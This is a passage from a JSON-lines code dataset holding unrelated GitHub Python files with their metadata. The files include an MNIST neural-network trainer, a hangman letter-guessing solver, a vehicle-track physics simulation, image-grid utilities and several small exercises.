__init__(self, audio_data=None, audio_file=None):\n self._audio_data = \"\"\n self._audio_file_path = \"UnKnown\"\n \n if audio_data == None and audio_file == None:\n raise TypeError(\"AudioFliter need construct by audio_data or audio_file\")\n if audio_data != None and audio_file != None:\n raise TypeError(\"AudioFliter can only init by one of audio_data or audio_file\")\n \n if audio_data != None:\n self._audio_data = audio_data\n elif audio_file != None:\n self._audio_file_path = audio_file\n with open(self._audio_file_path, \"rb\") as audio_file:\n self._audio_data = audio_file.read()\n \n def fliter(self, interval=3200):\n audio_list = []\n last_data = self._audio_data\n while len(last_data) > 0:\n if len(last_data) > interval:\n audio_list.append(last_data[:interval])\n last_data = last_data[interval:]\n else:\n audio_list.append(last_data)\n break\n \n return audio_list","repo_name":"wuchaojie/python_httplib_request","sub_path":"hci_http_func_kit/audio_helper.py","file_name":"audio_helper.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"42048865814","text":"import sys\nimport argparse\nimport pandas as pd\nimport datetime as dt\nfrom uuid import uuid4\nimport subprocess as sp\n\ndef main(args):\n df = pd.read_csv(args.meta)\n df.date = pd.to_datetime(df.date, infer_datetime_format=True)\n t = dt.datetime.now() - dt.timedelta(days=args.days)\n df = df[df.date > t]\n df = df.groupby(\"iso_a3\",group_keys=False).apply(lambda x: x.sample(min(len(x),args.max_country_seqs)))\n tmp_file = str(uuid4())\n open(tmp_file,\"w\").write(\"\\n\".join(list(df.id)))\n df.to_csv(\"%s.csv\" % args.out)\n sp.call(f\"seqtk subseq {args.fasta} {tmp_file} > {args.out}.fasta\",shell=True)\n with pd.option_context('display.max_rows', None, 'display.max_columns', None): # more options can be specified also\n print(df.groupby(\"iso_a3\").apply(lambda x:len(x)))\n\n\nparser = argparse.ArgumentParser(description='tbprofiler script',formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument('--fasta',type=str,help='CSV file')\nparser.add_argument('--meta',type=str,help='CSV file')\nparser.add_argument('--out',type=str,help='Output file with sequence names')\nparser.add_argument('--max_country_seqs',type=int,default=5000,help='Output file with sequence names')\nparser.add_argument('--days',type=int,default=90,help='Output file with sequence names')\nparser.set_defaults(func=main)\nargs = parser.parse_args()\nargs.func(args)","repo_name":"jodyphelan/covid-profiler","sub_path":"scripts/sample_gisaid_aln.py","file_name":"sample_gisaid_aln.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"73671093972","text":"# app/templatetags/getattrib.py\n\nimport re\nfrom django import template\nfrom django.conf import settings\n\nnumeric_test = re.compile(\"^\\d+$\")\nregister = template.Library()\n\ndef getattrib(value, arg):\n \"\"\"Gets an attribute of an object dynamically from a string name\"\"\"\n\n if hasattr(value, str(arg)):\n f = getattr(value, arg)\n if callable(f):\n return f()\n else:\n return f\n elif hasattr(value, 'has_key') and value.has_key(arg):\n return value[arg]\n elif numeric_test.match(str(arg)) and len(value) > int(arg):\n return value[int(arg)]\n else:\n return 'getattrib: invalid attrib'\n\nregister.filter('getattrib', getattrib)\n\n# Template usage:\n# {% load getattrib %}\n# {{ object|getattrib:dynamic_string_var }}\n\n","repo_name":"ma-tongji/django_db_view","sub_path":"django_db_view/templatetags/getattrib.py","file_name":"getattrib.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41786354019","text":"# -*- coding:utf-8 -*-\r\n\r\nimport get_book_adv\r\nimport lxml.etree\r\nimport re\r\ndef top(type):\r\n res=[]\r\n lst=lxml.etree.HTML(get_book_adv.get_page(r'https://www.qimao.com/paihang/')).xpath('//div[@list-type=\"%s\"]/ul//ul//li'%type)\r\n title=[''.join(s.xpath('div[2]/span[1]/a/text()')) for s in lst]\r\n author=[s.xpath('div[2]/span[2]/a/text()')[0] for s in lst]\r\n urls=[s.xpath('div[2]/span[1]/a/@href')[0] for s in lst]\r\n for i in range(len(title)):\r\n res.append([title[i],author[i],urls[i]])\r\n return res\r\n","repo_name":"lvxingye/qimao","sub_path":"source/top_list.py","file_name":"top_list.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6439649186","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.random as random\n\ndef display_image(image, title='', cmap=''):\n imgplot = plt.imshow(image)\n if cmap:\n imgplot.set_cmap(cmap)\n plt.title(title)\n plt.show()\n\n''' given a set of images, select an image at random and select a random slice of it'''\ndef generate_random_image_slice(images, height, width):\n height_images, width_images, num_images = images.shape\n image_index = random.randint(0, num_images)\n image_height = random.randint(0, height_images - height)\n image_width = random.randint(0, width_images - width)\n return images[image_height:(image_height + height), \\\n image_width:(image_width + width), \\\n image_index \\\n ].ravel()\n\n''' normalize a set of image slices, for use in autoencoder with sigmoid\n activation. this requires input to be between 0 and 1 because the output will\n be within that range; additionally, to ensure that derivatives are not too\n small and thus slowing down learning, tighten the range to 0.1 to 0.9. '''\ndef normalize_image_slices(image_slices):\n demeaned_image_slices = image_slices - np.mean(image_slices)\n stdev_limit = 3. * np.std(demeaned_image_slices)\n raw_normalized_image_slices = \\\n np.minimum(np.maximum(demeaned_image_slices, -stdev_limit), stdev_limit) / stdev_limit\n return 0.4 * raw_normalized_image_slices + 0.5\n\ndef opt_rescale(image, rescale):\n if not rescale:\n return image\n else:\n max_pixel = np.max(np.abs(image))\n return image / max_pixel\n \ndef display_image_grid(images, \\\n image_size, \\\n num_images_per_row_col, \\\n rescale=True, \\\n rgb=False\n ):\n num_pixels = image_size * image_size\n max_index = image_size * num_images_per_row_col\n if rgb:\n final_image = np.zeros((max_index, max_index, 3))\n else:\n final_image = np.zeros((max_index, max_index))\n xmin, ymin, xmax, ymax = 0, 0, image_size, image_size\n for image in images:\n if rgb:\n for color_index in xrange(3):\n sub_image = image[(color_index * num_pixels): ((color_index + 1) * num_pixels)]\n reshaped = opt_rescale(np.reshape(sub_image, (image_size, image_size), 'F'), rescale)\n final_image[xmin:xmax, ymin:ymax, color_index] = reshaped\n else:\n reshaped = opt_rescale(np.reshape(image, (image_size, image_size), 'F'), rescale)\n final_image[xmin:xmax, ymin:ymax] = reshaped\n if ymax == max_index:\n ymin, ymax = 0, image_size\n xmin = xmin + image_size\n xmax = xmax + image_size\n else:\n ymin = ymin + image_size\n ymax = ymax + image_size\n if rescale:\n final_image -= np.min(final_image)\n final_image /= np.max(final_image)\n display_image(final_image)\n","repo_name":"gentinex/neural_network","sub_path":"images.py","file_name":"images.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10220153588","text":"from neural_network import NeuralNetwork, LeakyReLU, Sigmoid, ReLU, CrossEntropyLoss\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport csv\r\n\r\nnp.random.seed(123456789)\r\n\r\nMNIST_TRAIN = \"mnistdata/mnist_train.csv\"\r\nMNIST_TEST = \"mnistdata/mnist_test.csv\"\r\n\r\ndef read_mnist_file(filepath):\r\n labels = []\r\n images = []\r\n with open(filepath, \"r\") as file:\r\n reader = csv.reader(file)\r\n # skip header line\r\n reader.__next__()\r\n for line in reader:\r\n labels.append(int(line[0]))\r\n images.append(list(map(int, line[1:])))\r\n # each column is an image\r\n images = np.array(images, dtype=np.long).T\r\n labels = np.array(labels)\r\n return images, labels\r\n\r\n# create the architecture\r\nnn = NeuralNetwork((784, 200, 40, 10), nonlinearities=LeakyReLU(0.01), lr=0.01)\r\n# nn = NeuralNetwork((784, 200, 40, 10), nonlinearities=LeakyReLU(0.01),\r\n# loss_function=CrossEntropyLoss(), lr=0.01)\r\n\r\nprint(\"Loading data...\")\r\nimages, labels = read_mnist_file(MNIST_TRAIN)\r\n# normalize the images\r\nimages = images/255\r\nprint(images.shape)\r\nprint(labels.shape)\r\n\r\n# go once over the training data\r\nN = 1\r\nlosses = []\r\nprint_every = 200\r\nfor i in range(N):\r\n print(\"Epoch {}\".format(i+1))\r\n\r\n for col in range(images.shape[1]):\r\n nn.forward(images[:, col])\r\n ## use with MSE loss\r\n expected = np.zeros((10, 1))\r\n expected[labels[col]] = 1\r\n ## use with cross entropy loss\r\n # expected = labels[col]\r\n l = nn.loss(expected)\r\n if (col+1) % print_every == 0:\r\n print(\"\\t{:5}% of this epoch, loss at {:.5}\".format(round(100*col/images.shape[1], 2), l))\r\n losses.append(l)\r\n nn.backprop()\r\n\r\nprint(\"Loading test data\")\r\nimages, labels = read_mnist_file(MNIST_TEST)\r\nrights = 0\r\nwrongs = 0\r\nfor col in range(images.shape[1]):\r\n res = nn.forward(images[:, col])\r\n predicted = np.argmax(res)\r\n if predicted == labels[col]:\r\n rights += 1\r\n else:\r\n wrongs += 1\r\n\r\naccuracy = round(100*rights/(rights+wrongs), 2)\r\n# 92.78% with seed 123456789 for cross entropy loss\r\n# 85.39% with seed 123456789 for L2 loss\r\nprint(\"Total accuracy of {}%\".format(accuracy))\r\nplt.plot(losses)\r\nplt.title(\"Loss over training; final test accuracy of {}%\".format(accuracy))\r\nplt.show()","repo_name":"rodrigogiraoserrao/AIML","sub_path":"NeuralNetworks/solve_mnist.py","file_name":"solve_mnist.py","file_ext":"py","file_size_in_byte":2358,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"4047195528","text":"import random\nimport re\n\n## uncomment prints and use user input guess for game version\n\ndef build_dictionary(dictionary_file_location):\n text_file = open(dictionary_file_location, \"r\")\n full_dictionary = text_file.read().splitlines()\n text_file.close()\n return full_dictionary\n\ndef getGlobalFrequency(full_dictionary):\n globalFrequency = {character: 0 for character in 'abcdefghijklmnopqrstuvwxyz'}\n for dictionary_word in full_dictionary:\n for letter in dictionary_word:\n globalFrequency[letter] +=1\n\n sortedGlobalFrequencies = sorted(globalFrequency.items(), reverse=True, key=lambda kv: kv[1])\n\n return [item[0] for item in sortedGlobalFrequencies]\n\ndef buildFrequencyTable(full_dictionary,guessedLetters,guessedWord):\n updatedDictionary = []\n ## we just want the frequency of the length of the guessed word. We don't care about words of other lengths\n\n wordLengthFrequency = {character: 0 for character in 'abcdefghijklmnopqrstuvwxyz'}\n\n ## convert guessed letters to regular expression range:\n guessedLettersString = ''.join(guessedLetters[:4]) ## the number of guessed letters included could be optimized\n\n\n ## populate wordLength dictionary with the characters and there frequencies for the words that match the passed in regular expression\n for dictionary_word in full_dictionary:\n ## don't include the first four letters that we've guessed when updating the search -- TODO not sure if don't include first guessed words or...\n if ((len(guessedLetters) == 0 and re.match('^'+guessedWord+'$',dictionary_word)) or ((re.match('^'+guessedWord+'$',dictionary_word) ))):\n # if ((len(guessedLetters) == 0 and re.match('^'+guessedWord+'$',dictionary_word)) or ((re.match('^'+guessedWord+'$',dictionary_word) and (not re.match('['+guessedLettersString+']',dictionary_word))))):\n updatedDictionary.append(dictionary_word)\n for letter in dictionary_word:\n wordLengthFrequency[letter] += 1\n\n ## for every word size get the letter frequency dictionary for size x.\n ## sort the frequency of each letter for words of size x and add a list of the letter frequencies to the frequency table list.\n ## this loop ends up creating a list of lists which is the frequency table that will be used for guessing letters.\n\n wordSizeDict = wordLengthFrequency\n sortedLetterFrequencies = sorted(wordSizeDict.items(), reverse=True, key=lambda kv: kv[1])\n\n letterFrequencyList = []\n\n for item in sortedLetterFrequencies:\n if item[1] != 0:\n letterFrequencyList.append(item[0])\n\n return updatedDictionary,letterFrequencyList\n\ndef buildLetterLikelihood(full_dictionary):\n\n ## letter list holds every letter from the dictionary as it was read in. list will appear like ...adewordloo...\n letterList = []\n ## dictionary holds the individual lists for each letter that stores the indices in which the letter is located in the list\n letterDictionary = {character: [] for character in 'abcdefghijklmnopqrstuvwxyz'}\n\n index = 0\n ## iterate through words in the dictionary\n for dictionary_word in full_dictionary:\n ## iterate through characters in the word. Using an integer to be able to access the preceding character\n for letter in dictionary_word:\n letterList.append(letter)\n letterDictionary[letter].append(index)\n index += 1\n letterList.append('!')\n index += 1\n\n return letterList,letterDictionary\n\n## returns a list of letters based on their likelihood of following or preceding the inputed array of letters\n## for example if the passed in array is ['l','e','p'] then the method will output ['h','s'] as the letters most likely\n## to follow 'lep' based on the words from the train dictionary\n## or return ['a','t'] as most likely letters to precede 'lep'\n## guessFollowing is a boolean that is used to determine if we are guessing preceding words or following words\n## input arrays can be of length 1 - length 3. this is represented by the lookback period and used to determine letter matching funcitons\ndef nextMostLikelyLetter(guessFollowing,knownLetters,letterList,letterDictionary):\n\n ## list that contains the frequency of letters preceding/following the inputed array of prediction letters\n letters = {character: 0 for character in 'abcdefghijklmnopqrstuvwxyz'}\n\n predictLetters = knownLetters\n lookback = len(predictLetters)\n\n def getLetter(index):\n if guessFollowing:\n return index + 1\n else:\n return index - 1\n\n ## return if letters in the list of letters match the provided prediction letters\n def checkMatch(lookback,index):\n ## checking for match after input letters ['l','e','p'] need to make sure letters in letter list match e and l depending on lookback\n if guessFollowing:\n if lookback == 2:\n return letterList[index - 1] == predictLetters[0]\n elif lookback == 3:\n return letterList[index - 2] == predictLetters[0] and letterList[index -1] == predictLetters[1]\n ## checking for match before input letters ['l','e','p'] need to make sure letters in letter list match e and l depending on lookback\n else:\n if lookback ==2:\n return letterList[index + 1] == predictLetters[1]\n elif lookback == 3:\n return letterList[index + 1] == predictLetters[1] and letterList[index + 1] == predictLetters[2]\n\n for i in letterDictionary[predictLetters[-1]]:\n ## Do different stuff for different lookback lengths\n if lookback == 1:\n try:\n letter = letterList[getLetter(i)]\n if (letter != '!'):\n letters[letter] += 1\n except:\n continue\n elif lookback == 2:\n try:\n ## only increase the letters after count if it is a letter after following the lookback letters\n if checkMatch(lookback,i):\n letter = letterList[getLetter(i)]\n if (letter != '!'):\n letters[letter] += 1\n except:\n continue\n elif lookback == 3:\n ## only increase the letters after count if it is a letter after following the lookback letters\n try:\n if checkMatch(lookback,i):\n letter = letterList[getLetter(i)]\n if (letter != '!'):\n letters[letter] += 1\n except:\n continue\n\n letters = sorted(letters.items(), reverse=True, key=lambda kv: kv[1])\n\n likelihood = []\n for tuple in letters:\n if tuple[1] != 0:\n likelihood.append(tuple[0])\n\n return likelihood\n\n\ndef hangmanGame(hinddenWord,full_dictionary,letterList,letterDictionary,globalFrequencyList):\n\n turns = 7\n guessNumber = 0\n\n guessedWord = []\n guessedLetters = []\n\n for letter in range(len(hinddenWord)):\n guessedWord.append(\".\")\n\n while turns > 0:\n\n guessedWordString = ''.join(guessedWord)\n\n\n ## buildFrequency returns the list of character frequencies and an updated dictionary with only words of the correct length.\n updatedDictionary,frequencyList = buildFrequencyTable(full_dictionary,guessedLetters,guessedWordString)\n full_dictionary = updatedDictionary\n\n print(guessedWordString)\n print(frequencyList)\n\n ## can't guess duplicate so assume first guess is a duplicate to enter while loop\n guessedDuplicate = True\n\n ## give 5 chances with standard list route\n if (guessNumber <= 8):\n\n print('using frequency list technique')\n guessPosition = 0\n while (guessedDuplicate):\n\n ## can just guess the first letter in the list because we will keep cycling\n guessedLetter = frequencyList[guessPosition]\n\n ## check if we have already guessed the letter -- we will eventually guess a letter that we have not guessed. Otherwise we will break\n ## to the next letter guessing technique\n if (not (guessedLetters.__contains__(guessedLetter))):\n guessedDuplicate = False\n else:\n guessPosition += 1\n if (guessPosition >= len(frequencyList)):\n print('guessPosition is too big')\n break\n\n print(guessedLetter)\n\n\n else:\n print('using next letter guessing')\n guessPosition = 0\n\n while(guessedDuplicate):\n\n guessFollowing = True\n ## split the guessed so far string into guessed parts, seperated by '.'\n brokenGuessWord = str.split(guessedWordString,'.')\n\n ## find the largest part of the guessed so far string to find the next letter with nextLetter method\n bigChunk = 0\n for i in range(len(brokenGuessWord)):\n if len(brokenGuessWord[i]) > len(brokenGuessWord[bigChunk]):\n bigChunk = i\n try:\n if (brokenGuessWord[bigChunk - 1] == ''):\n ## indicates that we need to guess the letter following the word chunk\n guessFollowing = False\n pass\n except:\n ## indicates that we need to guess the letter after the word chunc\n guessFollowing = True\n pass\n\n\n knownLetters = list(brokenGuessWord[bigChunk])\n\n if (len(knownLetters) > 3 and guessFollowing):\n knownLetters = knownLetters[-3:]\n elif(len(knownLetters) > 3 and not guessFollowing):\n knownLetters = knownLetters[:3]\n\n\n nextLetterList = nextMostLikelyLetter(guessFollowing,knownLetters,letterList,letterDictionary)\n\n print('guessing following',guessFollowing,' for letters',knownLetters)\n print(nextLetterList)\n\n guessedLetter = nextLetterList[guessPosition]\n\n ## check if we have already guessed the letter\n if (not (guessedLetters.__contains__(guessedLetter))):\n guessedDuplicate = False\n else:\n guessPosition += 1\n if (guessPosition >= len(nextLetterList)):\n print('guessPosition is too big')\n print('guessing from global list')\n ## todo wrap all of this in a while loop that has a position check.\n\n print(guessedLetter)\n\n ## instead of using the global list I should use probabilites based on the preceding characters\n # guessedLetter = globalFrequencyList[guessNextLetter]\n\n\n guessNumber += 1\n\n guessedLetters.append(guessedLetter)\n\n if (hinddenWord.__contains__(guessedLetter)):\n\n ## update the guessed word to show the new letters\n for letter in range(len(hinddenWord)):\n if (hinddenWord[letter] == guessedLetter):\n guessedWord[letter] = guessedLetter\n\n ##check if the words are equal\n if (hinddenWord == (''.join(guessedWord))):\n return True\n else:\n turns -= 1\n\n ## increase turn counter\n return False\n\nplayGames = 30\ngame = 0;\nwin = 0;\nlose = 0;\n\nwhile (game < playGames):\n\n full_dictionary_location = \"words_250000_train.txt\"\n full_dictionary = build_dictionary(full_dictionary_location)\n\n letterList, letterDictionary = buildLetterLikelihood(full_dictionary)\n\n globalFrequencyList = getGlobalFrequency(full_dictionary)\n\n randomWords = open('randomWords.txt', \"r\").read().splitlines()\n hiddenWord = randomWords[random.randint(0,len(randomWords)-1)]\n\n print(hiddenWord)\n\n if (hangmanGame(hiddenWord,full_dictionary,letterList,letterDictionary,globalFrequencyList)):\n print('won')\n win += 1\n else:\n print('lost')\n lose += 1\n\n game+=1\n\nprint('won:',win,'lost:',lose,'win rate:',win/playGames)\n\n\n\n\n\n","repo_name":"nidhiprakash/Hangman-guesser","sub_path":"CodingPractice/Hangman.py","file_name":"Hangman.py","file_ext":"py","file_size_in_byte":12316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20473147766","text":"class Node():\n def __init__(self, value, left=None, right=None):\n self.val = value\n self.left = left\n self.right = right\n\ndef maxSum(map):\n max = 0\n maxk = 0\n for k,v in map.items():\n if v > max:\n max = v\n maxk = k\n return maxk\n\ndef most_freq_subtree_sum(root,sums):\n if root.left == None and root.right == None:\n sum = root.val\n if sum in sums:\n sums[sum] += 1\n else:\n sums[sum] = 1\n print(sums,sum,root.val,'leaf')\n return sum\n if root.left == None:\n sum = root.val + most_freq_subtree_sum(root.right,sums)\n if sum in sums:\n sums[sum] += 1\n else:\n sums[sum] = 1\n print(sums,sum,root.val,'left')\n return sum\n if root.right == None:\n sum = root.val + most_freq_subtree_sum(root.left,sums)\n if sum in sums:\n sums[sum] += 1\n else:\n sums[sum] = 1\n print(sums,sum,root.val,'right')\n return sum\n sum = root.val + most_freq_subtree_sum(root.left,sums) + most_freq_subtree_sum(root.right,sums)\n if sum in sums:\n sums[sum] += 1\n else:\n sums[sum] = 1\n print(sums,sum,root.val)\n return sum\n\n\nroot = Node(3, Node(1,Node(2),Node(-3)), Node(-3,Node(4)))\nmap = {}\nprint(most_freq_subtree_sum(root,map))\nmaxs = maxSum(map)\nprint(\"Maximo: {}\".format(maxs))","repo_name":"djaquels/DailyCodeInterviewChallenge","sub_path":"sumSubTree.py","file_name":"sumSubTree.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29115534037","text":"\"\"\"\nDefines a type that encapsulates the representation and simulation of the\nVehicle-Track system.\n\nAs per Python convention, method names that begin with an underscore are\nmeant to be treated as though they were private --- these methods are\nnot a part of the public API and you should refrain from calling them.\nAll other methods are public.\n\nFeel free to add more methods to this class definition if necessary ---\nfor example, you may want to add a method for computing how far your\ncurrent position is from the central line around the track.\n\nAuthor: RR\n\"\"\"\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom model_interface import VehicleModel\nfrom utils import SIM_RESOLUTION, Position, SimulationError\n\n\nclass VehicleTrackSystem:\n TRACK_INNER_RADIUS_X = 500.0\n TRACK_OUTER_RADIUS_X = 550.0\n TRACK_INNER_RADIUS_Y = 300.0\n TRACK_OUTER_RADIUS_Y = 350.0\n TRACK_MIDDLE_RADIUS_X = 525.0\n TRACK_MIDDLE_RADIUS_Y = 325.0\n RADIUS_OVER_INERTIA =1.10237E-3\n \n def __init__(self):\n self._vehicle_state = VehicleModel()\n self.vehicle_position_history = [Position(x=0.0, y=325.0)]\n self.is_on_track = True\n self.vx = 10.0\n self.vy = 0.0\n self.speed = (self.vx**2 + self.vy**2)**.5\n self.x = 0.0\n self.y = 325.0\n self.distance = 0\n \n \n '''\n Computes the new position for a few time steps given from the simualation\n '''\n def _compute_displacement(self, initial_position, velocity_over_time):\n new_positions = [initial_position] * len(velocity_over_time)\n new_positions[0] = (initial_position + \n (velocity_over_time[0] * SIM_RESOLUTION))\n for i in range(1, len(new_positions)):\n new_positions[i] = (new_positions[i - 1] +\n (velocity_over_time[i] * SIM_RESOLUTION))\n return new_positions\n \n def _is_outer_wall_collision(self, x, y):\n return (((x / self.TRACK_OUTER_RADIUS_X) ** 2 +\n (y / self.TRACK_OUTER_RADIUS_Y) ** 2) >= 1.0)\n \n def _is_inner_wall_collision(self, x, y):\n return (((x / self.TRACK_INNER_RADIUS_X) ** 2 +\n (y / self.TRACK_INNER_RADIUS_Y) ** 2) <= 1.0)\n \n def is_collision(self, x, y):\n return (self._is_inner_wall_collision(x, y) or \n self._is_outer_wall_collision(x, y))\n\n def tick_simulation(self,\n front_wheel_torque,\n rear_wheel_torque,\n steering_angle):\n if not self.is_on_track:\n raise SimulationError('vehicle is already off the track!')\n \n\n \n # determine new vehicle velocity\n lat_velocity, long_velocity = self._vehicle_state.simulate_inputs(\n front_wheel_torque, rear_wheel_torque, steering_angle)\n \n # Save resulting velocity of input\n self.vy = lat_velocity[-1]\n self.vx = long_velocity[-1]\n self.speed = (self.vx**2 + self.vy**2)**.5\n \n # update vehicle position on track\n new_x = self._compute_displacement(self.vehicle_position_history[-1].x,\n long_velocity)\n new_y = self._compute_displacement(self.vehicle_position_history[-1].y,\n lat_velocity)\n\n # update history\n self.vehicle_position_history.extend([Position(x=x, y=y)\n for x, y in zip(new_x, new_y)])\n self.x = self.vehicle_position_history[-1].x\n self.y = self.vehicle_position_history[-1].y\n # bounds check\n if any(self.is_collision(x, y) for x, y in zip(new_x, new_y)):\n self.is_on_track = False\n raise SimulationError('vehicle has collided with a wall!')\n \n def plot_history(self):\n x_outer = np.linspace(start=-self.TRACK_OUTER_RADIUS_X,\n stop=self.TRACK_OUTER_RADIUS_X,\n num=100000)\n y_outer = np.sqrt((1 - (x_outer / self.TRACK_OUTER_RADIUS_X) ** 2) * \n (self.TRACK_OUTER_RADIUS_Y ** 2))\n\n x_inner = np.linspace(start=-self.TRACK_INNER_RADIUS_X,\n stop=self.TRACK_INNER_RADIUS_X,\n num=100000)\n y_inner = np.sqrt((1 - (x_inner / self.TRACK_INNER_RADIUS_X) ** 2) * \n (self.TRACK_INNER_RADIUS_Y ** 2))\n\n x_center = (x_outer + x_inner) / 2.0\n y_center = (y_outer + y_inner) / 2.0\n\n vehicle_x = [p.x for p in self.vehicle_position_history]\n vehicle_y = [p.y for p in self.vehicle_position_history]\n \n plt.plot(x_outer, y_outer, 'b-', x_outer, -y_outer, 'b-',\n x_inner, y_inner, 'b-', x_inner, -y_inner, 'b-',\n x_center, y_center, 'b--', x_center, -y_center, 'b--',\n vehicle_x, vehicle_y, 'r-')\n plt.show() \n \n \n \n def predict_states(self,\n front_wheel_torque,\n rear_wheel_torque,\n steering_angle):\n \n total_torque = (front_wheel_torque + rear_wheel_torque)\n #Not true theta since radii not inputted\n #theta = math.atan2(self.vehicle_position_history[-1].y, self.vehicle_position_history[-1].x)\n vx = (math.cos(steering_angle) * (self.RADIUS_OVER_INERTIA * total_torque)) + self.vx \n vy = (math.sin(steering_angle) * (self.RADIUS_OVER_INERTIA * total_torque)) + self.vy\n x = self.vehicle_position_history[-1].x + self.vx + (total_torque * math.cos(steering_angle) * self.RADIUS_OVER_INERTIA / 2)\n y = self.vehicle_position_history[-1].y + self.vy + (total_torque * math.sin(steering_angle) * self.RADIUS_OVER_INERTIA / 2)\n \n #print \"X: \", self.vehicle_position_history[-1].x, \" Y: \", self.vehicle_position_history[-1].y, \" PX: \", x, \" PY: \", y, \" TORQUE: \", front_wheel_torque\n #Is this legal syntax? How do I access this?\n return x, y, vx, vy \n\n \n \n #Methods borrowed from Arthur Chen and Caleb Warren for Ellipse Calculation\n\n def ellipse_tan_dot(self, rx, ry, px, py, theta):\n '''Dot product of the equation of the line formed by the point\n with another point on the ellipse's boundary and the tangent of the ellipse\n at that point on the boundary.\n '''\n return ((rx ** 2 - ry ** 2) * cos(theta) * sin(theta) -\n px * rx * sin(theta) + py * ry * cos(theta))\n \n \n def ellipse_tan_dot_derivative(self, rx, ry, px, py, theta):\n '''The derivative of ellipe_tan_dot.\n '''\n return ((rx ** 2 - ry ** 2) * (cos(theta) ** 2 - sin(theta) ** 2) -\n px * rx * cos(theta) - py * ry * sin(theta))\n \n \n def estimate_distance(self, x, y, rx=525, ry=325, error=1e-5):\n '''Given a point (x, y), and an ellipse with major - minor axis (rx, ry),\n will return the distance between the ellipse and the\n closest point on the ellipses boundary.\n '''\n theta = atan2(rx * y, ry * x)\n while fabs(self.ellipe_tan_dot(rx, ry, x, y, theta)) > error:\n theta -= self.ellipe_tan_dot(\n rx, ry, x, y, theta) / \\\n self.ellipe_tan_dot_derivative(rx, ry, x, y, theta)\n \n px, py = rx * cos(theta), ry * sin(theta)\n #update current position\n self.CURRENT_X = px\n self.CURRENT_Y = py\n dis = ((x - px) ** 2 + (y - py) ** 2) ** .5 \n return dis \n \n def on_which_side(self, x, y, rx=525, ry=325):\n '''Given a point (x, y), return true if it is inside the central\n line; false if it is outside the central line\n '''\n if (((x / rx) ** 2 +\n (y / ry) ** 2) >= 1.0):\n return True\n else:\n return False\n \n def get_velocity(self):\n '''returns an array of velocity\n '''\n #lat_velocity, long_velocity = self._vehicle_state.simulate_inputs(\n #front_wheel_torque, rear_wheel_torque, steering_angle)\n #v = [long_velocity[-1], lat_velocity[-1]]\n return self.velocity\n \n def curvature(self, x, y):\n return\n \n def estimate_angle(self, v, rx=525, ry=325):\n x = self.x\n y = self.y\n \n d = self.derivative(x, y)\n v_e = [1, d]\n return self.angle_between(v, v_e)\n \n def derivative(self, x, y):\n return (-1) * (169 * x) / (411 * y)\n \n def unit_vector(self, vector):\n \"\"\" Returns the unit vector of the vector. \n http://stackoverflow.com/questions/2827393/angles-between-two-n-dimensional-vectors-in-python\n \"\"\"\n return vector / np.linalg.norm(vector)\n \n def angle_between(self, v1, v2):\n \"\"\" Returns the angle in radians between vectors 'v1' and 'v2'::\n >>> angle_between((1, 0, 0), (0, 1, 0))\n 1.5707963267948966\n >>> angle_between((1, 0, 0), (1, 0, 0))\n 0.0\n >>> angle_between((1, 0, 0), (-1, 0, 0))\n 3.141592653589793\n \"\"\"\n v1_u = self.unit_vector(v1)\n v2_u = self.unit_vector(v2)\n return np.arccos(np.clip(np.dot(v1_u, v2_u), -1.0, 1.0)) \n","repo_name":"Limegrass/Vehicular-Combat","sub_path":"simulation_interface.py","file_name":"simulation_interface.py","file_ext":"py","file_size_in_byte":9369,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"70895190614","text":"from model import *\nimport torch\nfrom . import type\nfrom .c_function import CFuntion\nfrom ctypes import *\n\nconfigs = [\n dict(\n test_data=[\n torch.tensor([1, 2, 3, 4., 5., 6., 7., 8., 9., 10, 11, 12]).reshape(1, 1, 3, 4),\n torch.tensor([1, 2, 3, 4., 5., 6., 7., 8., 9.]).reshape(1, 1, 3, 3),\n torch.randn(1, 1, 3, 4),\n torch.randn(1, 1, 4, 5),\n ],\n config={\n 'name': 'TransposeFunction',\n 'function': TransposeFunction,\n 'params': dict(inplace=False),\n 'c_forward': CFuntion(name='transpose',argtypes=[c_void_p,c_int,c_int],restype=c_void_p),\n 'forward_params': ((1, 0),),\n 'c_forward_params': (1, 0),\n }\n ),\n]\n","repo_name":"rubblesky/base_module","sub_path":"config/function/_transpose.py","file_name":"_transpose.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73402968533","text":"def rounder(whatever):\r\n new_list = []\r\n for a in whatever:\r\n list_a = round(float(a))\r\n new_list.append(list_a)\r\n return new_list\r\n\r\n\r\ncurrent_list = input().split(\" \")\r\nprint(rounder(current_list))\r\n","repo_name":"Gattsu1337/Python-Fundamentals","sub_path":"rounding.py","file_name":"rounding.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18033059531","text":"import os\nimport pytz\n# import mysql.connector\nimport pandas as pd\nimport psycopg2\nimport MetaTrader5 as mt5\nimport sqlite3 as sl3\nimport requests\nfrom sqlalchemy import create_engine\nimport datetime as dt\nfrom pygame import mixer\nimport time\nimport 